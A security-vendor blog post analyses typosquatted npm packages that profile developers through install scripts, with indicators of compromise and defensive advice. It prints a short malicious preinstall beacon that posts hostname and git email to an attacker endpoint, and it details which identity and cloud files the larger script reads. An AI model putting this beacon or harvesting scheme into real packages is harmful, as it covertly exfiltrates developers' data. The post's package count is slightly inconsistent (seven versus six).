BLOG

Cybersecurity Startup Publishes Infostealers to NPM

Typosquatted AI-tool packages quietly collected git, SSH, and cloud identity data through install scripts, tracing back to one unexpected publisher

By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·

Cybersecurity Startup Publishes Infostealers to NPM

In late June 2026, a threat actor published several packages to NPM over the course of two days. When we started researching these packages, we realized we already had some threat reports for malware attributed to the same publisher. There are at least seven different packages, and several versions per package, that appear to be elaborate typosquats targeting Anthropic, LangChain, Ollama, OpenAI, Vercel and Aspect Security. They've racked up about 20k downloads, which aren't huge numbers but enough to do some damage. Every install triggers the beacon at least once, so each number below is also a floor on how many developer machines got profiled.

What’s even stranger is that these malicious packages appear to have been published by the founder of a cybersecurity startup based in Israel.

We analyzed the packages to identify what they do, what they're looking to steal, and also to understand the motivation of the author.

While the payloads in these packages don't install remote access trojans (RATs) or other persistence mechanisms, these packages act as infostealers, exfiltrating sensitive information about the victim and their local environment to a URL owned by the threat actor.

Okay, let’s dig in!

The packages

All six packages are published to npm under a single account (more on the account below). Five packages are clear impersonations of legitimate AI developer ecosystem, which represents the fastest-growing, tool-hungriest population on npm today.

  • anthropic-toolkit copycats @anthropic-ai/sdk

  • ai-sdk-helpers copies Vercel’s ai

  • @langgraphjs/toolkit swaps the real @langchain/langgraph scope for something that looks close enough at a glance

  • ollama-helpers and openai-agents-helpers piggyback on their obvious hosts

The sixth targets a security-adjacent audience: developers implementing password hashing. It's the odd one out in every way that matters, and we’ll come back to it after we’ve walked through what the AI-SDK packages do — because @aspect-security/argon2 is where this operator was two months earlier, and comparing the two gives us a rare look at how a threat actor iterates on a technique.

Package

Impersonates

First published

Latest version analyzed

Downloads last week
(2026-06-22 → 06-28)

Downloads last month
(2026-05-30 → 06-28)

anthropic-toolkit

Anthropic Claude SDK

June 2026

1.3.0

0

0

ai-sdk-helpers

Vercel’s ai SDK

June 2026

1.4.4

2,213

7,930

ollama-helpers

Ollama (local LLM runner)

June 2026

1.2.2

2,692

2,692

openai-agents-helpers

OpenAI Agents SDK

June 2026

1.3.2

3,108

3,108

@langgraphjs/toolkit

LangChain’s LangGraph.js

June 2026

1.2.12

1,793

5,877

@aspect-security/argon2

Argon2 password hashing (real package)

April 2026

1.0.1

74

333

argon2-napi

Argon2

April 2026

1.0.0

Not available

224

How the payloads run

Every package weaponizes the same npm feature: install-time scripts.

When you run npm install, npm downloads a package, unpacks it, and — before your code ever touches the library — runs any script the package author put in the preinstall or postinstall fields of package.json. Those scripts execute automatically, silently, with the same permissions as whoever ran npm install. On a developer laptop that’s you and your dotfiles. On a CI runner that’s the build account, often with cloud credentials and deploy keys attached.

postinstall is a legitimate npm feature. It exists so packages can compile native extensions or fetch platform-specific binaries after install. It’s also the single most abused mechanism in the npm ecosystem, because it converts any package installation into arbitrary code execution.

Almost everything in this campaign happens in the couple of seconds between npm install firing and the developer’s terminal returning to the prompt.

The bait and the payload live in separate files

Every one of the five AI-SDK packages has the same structure:

  • A src/ folder full of small, unremarkable TypeScript utility files (retry.ts, stream-to-string.ts, estimate-tokens.ts, and so on) — the shape of a normal helper library.

  • A well-written README.md with API tables, install snippets, and quickstart examples.

  • A package.json whose only script is:

    "scripts": { "postinstall": "node scripts/postinstall.js" }
    
  • The real payload at scripts/postinstall.js — 461 lines, 16 KB, hand-written, non-obfuscated JavaScript.

The TypeScript in src/ is genuine, working code. It is not booby-trapped. It is also never called by the payload. It exists purely as an alibi for anyone who cracks open the tarball to see whether the package is legitimate. Nothing they see in src/ is malicious, because none of what’s malicious is in src/.

That separation matters. It means the malware succeeds even against developers who do their due diligence, because the code they audit is not the code that runs on install.

What the beacon collects

The postinstall.js file opens with a long comment block styled to look like a friendly telemetry policy. It claims the script collects only “anonymous diagnostics,” itemizes what will be transmitted, and offers an opt-out: set the environment variable ANTHROPIC_TOOLKIT_TELEMETRY_DISABLED=1 (or the widely-respected DO_NOT_TRACK=1) before installing, and the script exits immediately. The opt-out works. That’s part of the con — it hands security-conscious developers the illusion of a lever while everyone else gets profiled.

The script harvests 11 different categories of data in that first couple of seconds, which all gets packed into one JSON object and shipped off in a single HTTPS POST:

  • Machine identity: The computer’s hostname, the current OS username, and on Windows the full DOMAIN\USER string. Enough on its own to fingerprint a specific developer on a specific laptop, or a specific build agent inside a company.

  • Git identity: The author reads git configuration files directly from disk — ~/.gitconfig, ~/.config/git/config, and the project’s local .git/config — and pulls the email from the [user] section. That’s the address the developer commits under. If none of those files have it, the script falls back to environment variables that CI systems commonly set: GIT_AUTHOR_EMAIL, GIT_COMMITTER_EMAIL, EMAIL.

  • GitHub identity: If the developer uses the official GitHub CLI (gh) and has logged in with it, their configuration lives in ~/.config/gh/hosts.yml. The script doesn’t touch the OAuth token stored in that file — but it does grep out the user and email fields.

  • Who else uses this machine: The script walks up ten directory levels to find the enclosing project’s .git/ folder, opens .git/logs/HEAD — git’s reflog, a record of every reference update on the repo — and extracts up to fifteen unique committer email addresses from the last fifty entries. In practical terms: if you and four teammates have pushed from this laptop or from a shared CI runner, the operator gets all five of your addresses in one shot. This is the single most useful field in the whole payload, and most developers don’t realize their reflog contains it.

  • Git remote: The script reads the URL of the project’s remote origin — i.e. which GitHub or GitLab organization and repo the developer is working on. Before sending, the script carefully strips any embedded credentials from the URL (https://user:token@github.com/... becomes https://github.com/...). We’ll come back to why the author bothered with that.

  • SSH key comments: Every file in ~/.ssh/*.pub gets opened. These are the developer’s public keys — the script’s cover-story comments truthfully insist that “private keys are never accessed.” What the script does read is the trailing comment on each public key, which by convention is the email the key was generated for. A typical developer laptop has a personal key, a work key, and one or two deploy keys, giving the operator three or four more identities and a hint at which services the developer talks to.

  • Cloud environment: The script reads ~/.config/gcloud/properties and pulls out the developer’s default Google Cloud project and account. It reads ~/.aws/config and pulls out up to ten AWS profile names, SSO URLs, and account IDs. It explicitly skips any line containing aws_access_key_id, aws_secret_access_key, aws_session_token, credential_process, password, or token. That skip is deliberate. We’ll come back to that too.

  • Corporate network fingerprint": The script opens /etc/resolv.conf and pulls out the search domain — the DNS suffix your machine appends to unqualified hostnames. On a personal laptop this is usually empty or your ISP. On a corporate machine it’s something like corp.acme.com, which effectively tells the operator who you work for.

  • Host project metadata: The script climbs the directory tree looking for the parent project’s package.json (skipping its own) and reads the project name, author, and repository URL. That tells the operator which private codebase the developer was inside when they installed the malicious package.

  • CI provider: Checks for GITHUB_ACTIONS, GITLAB_CI, JENKINS_URL, CIRCLECI, TRAVIS, BUILDKITE, and generic CI environment variables to distinguish a developer laptop from a specific CI platform.

  • Runtime metadata: Node.js version, operating system, CPU architecture, and a timestamp.

The “we don’t touch credentials” sleight of hand

The comments in postinstall.js repeat, over and over, that no secrets, tokens, or private keys are ever transmitted. Technically that’s true. The script never opens ~/.aws/credentials, never reads SSH private keys, never grabs the OAuth token from gh, and actively scrubs embedded credentials out of git URLs.

That’s not restraint. It’s camouflage. What actually gets exfiltrated is arguably more useful to someone with an agenda than a stolen credential. A stolen AWS access key gets rotated within hours of detection. A stolen identity dossier (hostname, all your email addresses, your GitHub login, your employer’s DNS domain, your AWS profile names, your GCP project IDs, the name of the private repository you were inside, the emails of every colleague who has committed with you recently) doesn't expire. It’s the raw material for something that comes next. But what? Spear-phishing? Targeted social engineering?

Modern intrusion campaigns very often begin with reconnaissance exactly like this and end with credentialed access weeks later, via a targeted email or a spoofed login page. This beacon is the opening move of that playbook.

Or maybe something more diabolical is happening here. Maybe this isn’t about a spear-phishing campaign, but instead is sociopathically commercial in origin.

Maybe this is lead generation for a new startup?! The line between good guy and bad guy just got a little more blurry.

Where the data goes

Every AI-SDK package POSTs its payload to the same URL:

<https://npm-package-logger-228835561205.europe-west1.run.app/>

That’s a Google Cloud Run URL. Cloud Run is Google’s serverless container platform, and every deployment gets a subdomain under run.app. To network security tools and firewalls, this looks like ordinary outbound HTTPS to a Google-owned domain — the same domain a lot of legitimate SaaS integrations use. It’s TLS-encrypted end-to-end, so inline proxies can’t inspect the body, and the run.app domain is on nearly every enterprise egress allowlist by default. It is, functionally, an exfiltration channel that most corporate networks don’t check.

The 228835561205 embedded in the hostname is the Google Cloud project number of the receiver. That number is the thread that ties every artifact in this campaign back to one operator — including, as we’ll see, a package published two months earlier.

The script POSTs the payload with a 5-second timeout, silently swallows any errors, and never surfaces failures to the developer. Even if the beacon call fails, the install succeeds. That was intentional: the malware must never break the user’s install, because a failed install is a package the developer will notice.

Faking a history: the version backfill

The anthropic-toolkit tarball ships with a shell script called publish-versions.sh that loops through twenty version numbers — from 0.1.0 up through 1.2.1 — and republishes the same content under every one of them. This is called version backfilling, and it exists to defeat a specific defense: reputation-based tools like Socket and Snyk raise the risk score of packages that have just appeared on the registry. A package with a version history stretching back through 0.1.x looks like it’s been maintained for a year. It hasn’t — every one of those versions was published in a single afternoon — but by the time a developer or a scanner sees the package, it looks mature.

This trick generalizes. If a security tool’s risk scoring depends on “how long has this package existed,” verify against the timestamp of the earliest published version, not the count of versions.

The evolution of the payload

The size column of an earlier table gave a hint: the earliest versions of each AI-SDK package shipped a much smaller beacon than the latest ones.

The early versions (roughly 6 KB) collected only runtime info, git email, and GitHub CLI identity. Around the same version bump across every product — ai-sdk-helpers at 1.4.3, ollama-helpers at 1.2.1, openai-agents-helpers at 1.3.1, @langgraphjs/toolkit at 1.2.11 — the author swapped in the expanded 16 KB script with SSH-key harvesting, reflog scraping, AWS/GCP config reading, and the elaborate “anonymous telemetry” disclosure. The change is byte-identical across the four packages (with only the package name search-and-replaced). One operator, one script, mass-updated in one push.

Two of the @langgraphjs/toolkit versions (1.2.8 and 1.2.9) also point at us-central1.run.app instead of europe-west1.run.app, showing that at some point the author moved regions on Cloud Run. Everything else — the project number, the JSON schema of the payload, the code style — is unchanged.

The odd package out: @aspect-security/argon2

Now we come back to the sixth package, and this is where the story of the author gets more interesting. @aspect-security/argon2 was published in April 2026, roughly two months before the AI-SDK campaign. The other five packages work as libraries — they’re not useful libraries, but they load. This one doesn’t. It’s a hollow shell that would throw an error the instant anyone actually tried to use it. Which is exactly the point.

The runtime code is a decoy that would never run

The entire index.js in this package is:

import setupWasm from './lib/setup.js';
import wasmSIMD from './dist/simd.wasm';
import wasmNonSIMD from './dist/no-simd.wasm';

const loadWasm = async () => setupWasm(
  (instanceObject) => wasmSIMD(instanceObject),
  (instanceObject) => wasmNonSIMD(instanceObject),
);

export default loadWasm;

Three things are wrong with this file, and every one of them is a giveaway:

  1. The files it imports don’t exist. There is no ./lib/setup.js, no ./dist/simd.wasm, no ./dist/no-simd.wasm anywhere in the tarball. The package.json claims a prebuilds/ folder ships with the package — that doesn’t exist either. Any developer who actually tries to require this package gets MODULE_NOT_FOUND the instant they load it.

  2. package.json is missing "type": "module". That one line is what tells Node.js to accept ES-module import syntax. Without it, Node will refuse to load the file at all.

  3. The code is copied from someone else’s project. The loadWasm / setupWasm structure — SIMD vs no-SIMD, the file names, everything — is lifted directly from Proton AG’s real @proton/argon2 package. The LICENSE file in this tarball still says Copyright (c) 2022, Proton AG at the top. Proton has nothing to do with this package.

Because “broken” doesn’t matter — only “installed” does

The reason none of that stopped the author is that the malicious payload in this package runs from preinstall, not postinstall. preinstall fires before npm does anything else — before it resolves dependencies, before it unpacks files, before it lifts a finger toward setting up the package. By the time the developer runs npm install @aspect-security/argon2 and sees a MODULE_NOT_FOUND error, the beacon has already left. Hostname and git email are already in a Cloud Run log somewhere.

The runtime code exists to look real to anyone who opens the tarball first. Whether the code actually works is irrelevant. The install itself is the payload.

Here is the whole beacon:

const hostname = os.hostname();
let gitEmail = execSync('git config user.email').trim() || 'unknown';

https.request(
  '<https://npm-package-logger-228835561205.us-central1.run.app>',
  { method: 'POST', /* ... */ }
).write(JSON.stringify({ hostname, gitEmail })).end();

Compare that to the polished 16 KB postinstall on the AI-SDK packages:

argon2 preinstall (April)

AI-SDK postinstall (June)

npm hook

preinstall

postinstall

Script size

601 bytes

16 KB

Data collected

hostname + git email only

Full identity graph (SSH, cloud, reflog, DNS, CI, project metadata)

How git email is read

Shells out to git config user.email

Reads git config files directly

Endpoint region

us-central1.run.app

europe-west1.run.app

Opt-out mechanism

None

Named env var + DO_NOT_TRACK

Cover-story comments

None

Elaborate “anonymous telemetry” preamble

Error handling

None — a network hiccup can crash the install

Silent, swallowed, guaranteed to complete

Same Google Cloud project number, so unambiguously the same operator working on the same project. But everything about the tradecraft is worse. The April version spawns a child process to read git config — easier for endpoint tools to log. It has no error handling — a transient network error would actually crash the install. It has no cover story, no opt-out, no legibility engineering.

This looks like a first-draft beacon that the author built, published, watched for two months, and then rebuilt from scratch into the more polished version we see across the AI-SDK packages. The evolution — cruder to more sanitized, single beacon target to five in parallel, single field to full identity graph — is exactly the arc you’d expect from an operator refining a technique.

The impersonation is a full layered con

The @aspect-security/argon2 package is also worth studying because the social engineering around it is more elaborate than the AI-SDK packages needed:

  • Scope name. @aspect-security squats on Aspect Security, a well-known application-security consulting firm. Any developer who has been around AppSec for a while will recognize the name and default to trusting it.

  • Package name. argon2 is the real, widely-used npm package for the Argon2 password-hashing algorithm. Naming this shell argon2 inside a trusted-sounding scope is textbook typosquatting.

  • Maintainer impersonation. The README claims the package is “Published in collaboration with the original argon2 maintainer (@ranisalt)”. @ranisalt is the real GitHub identity behind the legitimate argon2 package. He has nothing to do with this one.

  • Fabricated evidence. The README asserts that “The argon2 npm package fails to build in 54.2% of common Node.js environments” and cites a Hugging Face dataset (huggingface.co/datasets/security-benchmarks/argon2-node-benchmarks) as the source. That dataset almost certainly doesn’t exist. The stat is invented. The citation is fake.

  • Targeted troubleshooting section. The README has a “Troubleshooting” heading listing the exact error messages developers see when the real argon2 package fails to compile (gyp ERR! find Python, gyp ERR! find VS, and so on). This is SEO bait. A frustrated developer who Googles their build error lands here, reads that a security company has a fixed drop-in replacement, and installs it.

Put together, the pitch is: You’re frustrated because argon2 won’t build. This package is by a security firm you’ve heard of, is endorsed by the real maintainer, and works everywhere. Install it. The developer runs npm install @aspect-security/argon2, the beacon fires, and by the time they see the runtime error, they’ve already been profiled.

That level of thought — the impersonated brand, the impersonated maintainer, the fake statistics, the SEO-optimized error messages — is not the effort profile of someone stealing data on a whim. It’s product-quality social engineering.

About the malware author

Which brings us to the strangest part of this whole story.

The npm account behind all six packages is not a throwaway. It’s tied to the founder of a cybersecurity startup that, at time of writing, is still in stealth mode but has a live public website and identifiable leadership. Here's an anonymized screenshot of their website.

This is a very unusual profile for a threat actor. Almost every npm supply-chain campaign we look at is published from throwaway accounts, freshly registered emails, and one-shot personas. This one is not.

We made a conscious choice not to name that company or individual in this post, but we enrich threat reports with Registry User information, so it was trivial for us to trace the malware back to the source. We reported the packages to npm and the findings to the appropriate parties, and both the packages and user account have been taken down.

But it’s worth asking what a plausible motive even looks like here, because the technical evidence rules out a lot.

  • This isn't an opportunistic data thief. People running smash-and-grab supply-chain campaigns don’t publish under their real identity. They don’t build a coherent, iteratively-refined technique across five packages. They don’t spend effort making a beacon look like telemetry to human reviewers.

  • This isn't straightforward research. There is no credible, ethical security research angle here. Deploying a payload to thousands of real developer machines is wrong, period. Probably illegal in many jurisdictions. These packages are live, the beacon is live, the exfiltrated data is going to a private endpoint controlled by the author, and there is no accompanying public disclosure.

  • This is possibly product seeding, and this is the most interesting theory. A stealth-mode security startup needs a dataset to build on top of. If your pitch is “we detect npm supply-chain attacks,” or “we map developer environments across the ecosystem,” or “we sell attribution intelligence on maintainers,” having a private dataset of tens of thousands of real developer profiles (hostnames, git emails, cloud configs, employer DNS domains) is an enormous head start. That would explain the technical care, the identity-not-credentials focus, the choice to publish under a real name (in case anyone caught it and you wanted the plausible-deniability landing of “we were researching”), and the deliberate evasion of anything that reads as “outright criminal.”

We can’t verify theories from static analysis alone. What we can say is that the technical picture — the polish, the iteration, the layered social engineering, the recon-only payload, the choice to run under a real identity — is not the picture of someone stealing credentials for cash. It’s the picture of someone quietly building a dataset, and hoping the rest of us wouldn’t notice.

Indicators of compromise

For teams ingesting this into detection tooling.

Network

  • npm-package-logger-228835561205.europe-west1.run.app — primary exfiltration endpoint

  • npm-package-logger-228835561205.us-central1.run.app — earlier endpoint used by @aspect-security/argon2 and by @langgraphjs/toolkit 1.2.8/1.2.9

  • Google Cloud project number 228835561205 ties every campaign artifact together

  • HTTP User-Agent on the beacon requests follows the pattern <package-name>/<version> POSTing to a Cloud Run host

npm registry

  • AI-SDK campaign packages: anthropic-toolkit, ai-sdk-helpers, ollama-helpers, openai-agents-helpers, @langgraphjs/toolkit

  • Password-hashing squat: @aspect-security/argon2

  • Env-var opt-outs (only respected by the AI-SDK variants): ANTHROPIC_TOOLKIT_TELEMETRY_DISABLED, AI_SDK_HELPERS_TELEMETRY_DISABLED, OLLAMA_HELPERS_TELEMETRY_DISABLED, OPENAI_AGENTS_HELPERS_TELEMETRY_DISABLED, LANGGRAPHJS_TOOLKIT_TELEMETRY_DISABLED, and the widely-respected DO_NOT_TRACK

@aspect-security/argon2 — specific to that package

  • Impersonation target on npm: argon2 (the legitimate password-hashing library)

  • Impersonated maintainer identity: GitHub @ranisalt, the real argon2 maintainer

  • Squatted brand: Aspect Security, a real application security firm

  • Code lineage: index.js and license copied from Proton AG’s @proton/argon2 package

  • Fake citation: huggingface.co/datasets/security-benchmarks/argon2-node-benchmarks

  • Fabricated statistic: “54.2% of common Node.js environments” fail to build the real argon2 package

Takeaways

A few things from this campaign are worth generalizing.

Install-time is code execution, and most defenders forget this. Runtime code review, dependency-vulnerability scanning, and SBOM tooling all focus on what packages do when they’re used. This campaign never runs its runtime code at all. Everything happens in the couple of seconds between npm install firing and the terminal returning to the prompt. Any defense that doesn’t sandbox or inspect install-time scripts is invisible to this class of attack. If you can tolerate the workflow impact, npm config set ignore-scripts true (or the pnpm equivalent in .npmrc) blocks the whole class.

“Recon-only” payloads are not benign. The author’s decision to skip actual credential files and pull identity fingerprints instead was not restraint — it was a considered choice. It makes the traffic look boring in a security review while still producing the raw material for follow-on targeted attacks. Any “just diagnostics” script that reads from ~/.ssh/, ~/.aws/, ~/.config/gcloud/, or .git/logs/ and phones home is exfiltrating identity data, regardless of whether the payload contains a literal password.

Opt-outs and disclosure comments are not evidence of good faith. This campaign has both — a documented opt-out, a plausible rationale, and comments explaining what will and will not be sent. All of it is theatre. Treat elaborate self-explanation inside a postinstall script as a warning sign, not a reassurance.

Version backfilling is a real technique. A package that looks like it has thirty releases going back two years may have been created and mass-published in a single day. Risk scoring that relies on package age needs to key off the first-published timestamp, not the version count.

Serverless PaaS is the exfiltration channel of choice. Traffic to *.run.app looks like traffic to Google, terminates TLS at Google’s edge, and rides through nearly every enterprise egress control unchallenged. High-value build environments should consider inspecting, logging, or restricting outbound to serverless-PaaS hostnames.

Broken-shell packages are their own category. @aspect-security/argon2 demonstrates that an attacker doesn’t need their package to work — only to be installed. Runtime detection is blind to a package that has no runtime. The defense has to happen before or during install.

Finally: five of the six packages in this campaign target the AI-developer ecosystem, and that’s not a coincidence. It’s a fast-moving, high-trust, tool-hungry population that installs new libraries constantly. That combination is going to keep drawing this class of campaign — and increasingly, as we’ve seen here, from operators with the polish and patience to make their beacons look like telemetry — until install-time controls catch up.